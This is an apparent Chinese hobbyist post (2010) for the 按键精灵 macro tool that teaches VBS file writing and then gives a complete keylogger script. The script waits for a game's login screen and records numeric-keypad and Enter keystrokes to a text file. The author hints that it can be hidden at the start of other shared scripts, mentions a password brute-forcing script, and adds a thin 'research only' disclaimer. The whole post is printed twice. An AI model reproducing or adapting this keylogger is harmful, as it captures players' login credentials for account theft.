小键盘记录
2010年03月21日
发脚本之前,我想讲一下关于写入文件的问题,看了几个教程,对于我这样的菜鸟十分生涩,很难理解。我觉得有必要再讲讲,以下是我自己理解的,可能不对,请高手指教。
首先讲这个:
VBS Const ForReading=1
VBS Const ForWriting=2
VBS Const ForAppending=8
也有这样写的
VBS Const ForReading=1:VBS Const ForWriting=2:VBS Const ForAppending=8
其实这是不用写的,这只是一个参数解释,告诉你当参数=1是是以读方式打开文件;=2时是以写方式
打开文件,=8时是以追加写方式打开文件。那么这个参数1,2,8写在那里呢?下面再说。
其次我们来看这个:
VBS Set a = CreateObject("Scripting.FileSystemObject")
这个最不好理理解,不过好在我们不用理解,你只要记住,不论生成文件还是打开文件,在前面都要加
这么一句就可以了。其中除了a是变量名称可以改以外,其它的照搬就是了。
接着我们来看
VBS Set f=a.CreateTextFile(filename)
这句是生成文件的,不光TXT文件,也可以生成htm文件等,括号中是要生成的文件路径及名称,如:“c:\1.txt”,一定要加引号的。还有就是,这句里有两个变量名f和a,前面的f是写的时候用的,后面的a要和上一句的变量名一致。
总结一下就是说,我们想在c盘下生成一个1.txt文件,只要以下2句就可以做到:
VBS Set a = CreateObject("Scripting.FileSystemObject")
VBS Set f=a.CreateTextFile("c:\1.txt")
要注意,这样创建的文件是用写方式打开的,我们可以用下面这句来写入内容:
VBS f.WriteLine("内容")
但这样写入会覆盖上一次写入的内容,所以不想覆盖就要用到下面这句
VBS set f=a.opentextfile("c:\1.txt",8,True)
这句的意思是以追加的方式打开“c:\1.txt”,如果不存在则生成一个。其中的8,就是参数,我们上面讲过,它如果是1或2时是什么意思。
要是我以上讲的你都不理解,你就记住,用追加写方式打开一个文件,写入文本“1”,没有的话就生成一个再写入,只要这样写就好了:
VBS Set a = CreateObject("Scripting.FileSystemObject")
VBS set f=a.opentextfile("c:\1.txt",8,True)
VBS f.WriteLine("1")
就三句话,复制就好了。
下面进入正题,木马的问题很头痛,键盘记录程序也很头痛,好在我们有专业软件。可是这就能阻止帐号丢失吗?我今天用了30分钟就写了一个键盘记录脚本,虽然暂时功能比较简单,但有了这个思路,小精灵本身就可以是木马!
下面这个脚本可以实现,在检测到某游戏的登陆界面后,在按键精灵所在目录生成一个键盘记录文件,记录10秒种内的小键盘动作.
Rem start
VBSCall FindPic(0,0,1023,767,"登陆.bmp",0.9,x,y)
If x>=0 and y>=0
Gosub 时间
Goto start
Else
Goto start
EndIf
Sub 时间
VBS starttime=timer
Rem time
VBS stoptime=timer
VBS t=stoptime-starttime
//修改t的值可以延长记录时间
If t<10
Gosub 记录
Goto time
Else
//每次记录的结果用"-------"分开
VBS f.WriteLine("--------")
EndScript
EndIf
Return
Sub 记录
//打开文件
VBS filename="..\键盘记录.txt"
VBS Set a = CreateObject("Scripting.FileSystemObject")
VBS set f=a.opentextfile(filename,8,True)
//监控键盘
VBSCall Call GetKeyState(Asc)
//写入结果
If GetKeyState(96)=-1 or GetKeyState(96)=1
VBS f.WriteLine("0")
//延时越短越容易出现先1次按键多次记录的情况,目前这个值基本可以满足要求
Delay 150
EndIf
If GetKeyState(97)=-1 or GetKeyState(97)=1
VBS f.WriteLine("1")
Delay 150
EndIf
If GetKeyState(98)=-1 or GetKeyState(98)=1
VBS f.WriteLine("2")
Delay 150
EndIf
If GetKeyState(99)=-1 or GetKeyState(99)=1
VBS f.WriteLine("3")
Delay 150
EndIf
If GetKeyState(100)=-1 or GetKeyState(100)=1
VBS f.WriteLine("4")
Delay 150
EndIf
If GetKeyState(101)=-1 or GetKeyState(101)=1
VBS f.WriteLine("5")
Delay 150
EndIf
If GetKeyState(102)=-1 or GetKeyState(102)=1
VBS f.WriteLine("6")
Delay 150
EndIf
If GetKeyState(103)=-1 or GetKeyState(103)=1
VBS f.WriteLine("7")
Delay 150
EndIf
If GetKeyState(104)=-1 or GetKeyState(104)=1
VBS f.WriteLine("8")
Delay 150
EndIf
If GetKeyState(105)=-1 or GetKeyState(105)=1
VBS f.WriteLine("9")
Delay 150
EndIf
If GetKeyState(13)=-1 or GetKeyState(13)=1
VBS f.WriteLine("回车")
Delay 150
EndIf
Return 记录
目前我只写了记录小键盘的脚本,全部都监控也很简单,把它写在某些脚本的前面,然后......
不要问我怎么能讲记录文件发送出来,虽然我前几天写了个生日密码爆破脚本,今天又写了这个,但我郑重声明:我对盗号没有兴趣!!!一切只为研究之用,非法使用,一切后果由使用者自己承担。
希望以上对想我一样菜的朋友有帮助,最后还是要提醒,以上脚本必须安装QMBoost插件。
2010年03月21日
发脚本之前,我想讲一下关于写入文件的问题,看了几个教程,对于我这样的菜鸟十分生涩,很难理解。我觉得有必要再讲讲,以下是我自己理解的,可能不对,请高手指教。
首先讲这个:
VBS Const ForReading=1
VBS Const ForWriting=2
VBS Const ForAppending=8
也有这样写的
VBS Const ForReading=1:VBS Const ForWriting=2:VBS Const ForAppending=8
其实这是不用写的,这只是一个参数解释,告诉你当参数=1是是以读方式打开文件;=2时是以写方式
打开文件,=8时是以追加写方式打开文件。那么这个参数1,2,8写在那里呢?下面再说。
其次我们来看这个:
VBS Set a = CreateObject("Scripting.FileSystemObject")
这个最不好理理解,不过好在我们不用理解,你只要记住,不论生成文件还是打开文件,在前面都要加
这么一句就可以了。其中除了a是变量名称可以改以外,其它的照搬就是了。
接着我们来看
VBS Set f=a.CreateTextFile(filename)
这句是生成文件的,不光TXT文件,也可以生成htm文件等,括号中是要生成的文件路径及名称,如:“c:\1.txt”,一定要加引号的。还有就是,这句里有两个变量名f和a,前面的f是写的时候用的,后面的a要和上一句的变量名一致。
总结一下就是说,我们想在c盘下生成一个1.txt文件,只要以下2句就可以做到:
VBS Set a = CreateObject("Scripting.FileSystemObject")
VBS Set f=a.CreateTextFile("c:\1.txt")
要注意,这样创建的文件是用写方式打开的,我们可以用下面这句来写入内容:
VBS f.WriteLine("内容")
但这样写入会覆盖上一次写入的内容,所以不想覆盖就要用到下面这句
VBS set f=a.opentextfile("c:\1.txt",8,True)
这句的意思是以追加的方式打开“c:\1.txt”,如果不存在则生成一个。其中的8,就是参数,我们上面讲过,它如果是1或2时是什么意思。
要是我以上讲的你都不理解,你就记住,用追加写方式打开一个文件,写入文本“1”,没有的话就生成一个再写入,只要这样写就好了:
VBS Set a = CreateObject("Scripting.FileSystemObject")
VBS set f=a.opentextfile("c:\1.txt",8,True)
VBS f.WriteLine("1")
就三句话,复制就好了。
下面进入正题,木马的问题很头痛,键盘记录程序也很头痛,好在我们有专业软件。可是这就能阻止帐号丢失吗?我今天用了30分钟就写了一个键盘记录脚本,虽然暂时功能比较简单,但有了这个思路,小精灵本身就可以是木马!
下面这个脚本可以实现,在检测到某游戏的登陆界面后,在按键精灵所在目录生成一个键盘记录文件,记录10秒种内的小键盘动作.
Rem start
VBSCall FindPic(0,0,1023,767,"登陆.bmp",0.9,x,y)
If x>=0 and y>=0
Gosub 时间
Goto start
Else
Goto start
EndIf
Sub 时间
VBS starttime=timer
Rem time
VBS stoptime=timer
VBS t=stoptime-starttime
//修改t的值可以延长记录时间
If t<10
Gosub 记录
Goto time
Else
//每次记录的结果用"-------"分开
VBS f.WriteLine("--------")
EndScript
EndIf
Return
Sub 记录
//打开文件
VBS filename="..\键盘记录.txt"
VBS Set a = CreateObject("Scripting.FileSystemObject")
VBS set f=a.opentextfile(filename,8,True)
//监控键盘
VBSCall Call GetKeyState(Asc)
//写入结果
If GetKeyState(96)=-1 or GetKeyState(96)=1
VBS f.WriteLine("0")
//延时越短越容易出现先1次按键多次记录的情况,目前这个值基本可以满足要求
Delay 150
EndIf
If GetKeyState(97)=-1 or GetKeyState(97)=1
VBS f.WriteLine("1")
Delay 150
EndIf
If GetKeyState(98)=-1 or GetKeyState(98)=1
VBS f.WriteLine("2")
Delay 150
EndIf
If GetKeyState(99)=-1 or GetKeyState(99)=1
VBS f.WriteLine("3")
Delay 150
EndIf
If GetKeyState(100)=-1 or GetKeyState(100)=1
VBS f.WriteLine("4")
Delay 150
EndIf
If GetKeyState(101)=-1 or GetKeyState(101)=1
VBS f.WriteLine("5")
Delay 150
EndIf
If GetKeyState(102)=-1 or GetKeyState(102)=1
VBS f.WriteLine("6")
Delay 150
EndIf
If GetKeyState(103)=-1 or GetKeyState(103)=1
VBS f.WriteLine("7")
Delay 150
EndIf
If GetKeyState(104)=-1 or GetKeyState(104)=1
VBS f.WriteLine("8")
Delay 150
EndIf
If GetKeyState(105)=-1 or GetKeyState(105)=1
VBS f.WriteLine("9")
Delay 150
EndIf
If GetKeyState(13)=-1 or GetKeyState(13)=1
VBS f.WriteLine("回车")
Delay 150
EndIf
Return 记录
目前我只写了记录小键盘的脚本,全部都监控也很简单,把它写在某些脚本的前面,然后......
不要问我怎么能讲记录文件发送出来,虽然我前几天写了个生日密码爆破脚本,今天又写了这个,但我郑重声明:我对盗号没有兴趣!!!一切只为研究之用,非法使用,一切后果由使用者自己承担。
希望以上对想我一样菜的朋友有帮助,最后还是要提醒,以上脚本必须安装QMBoost插件。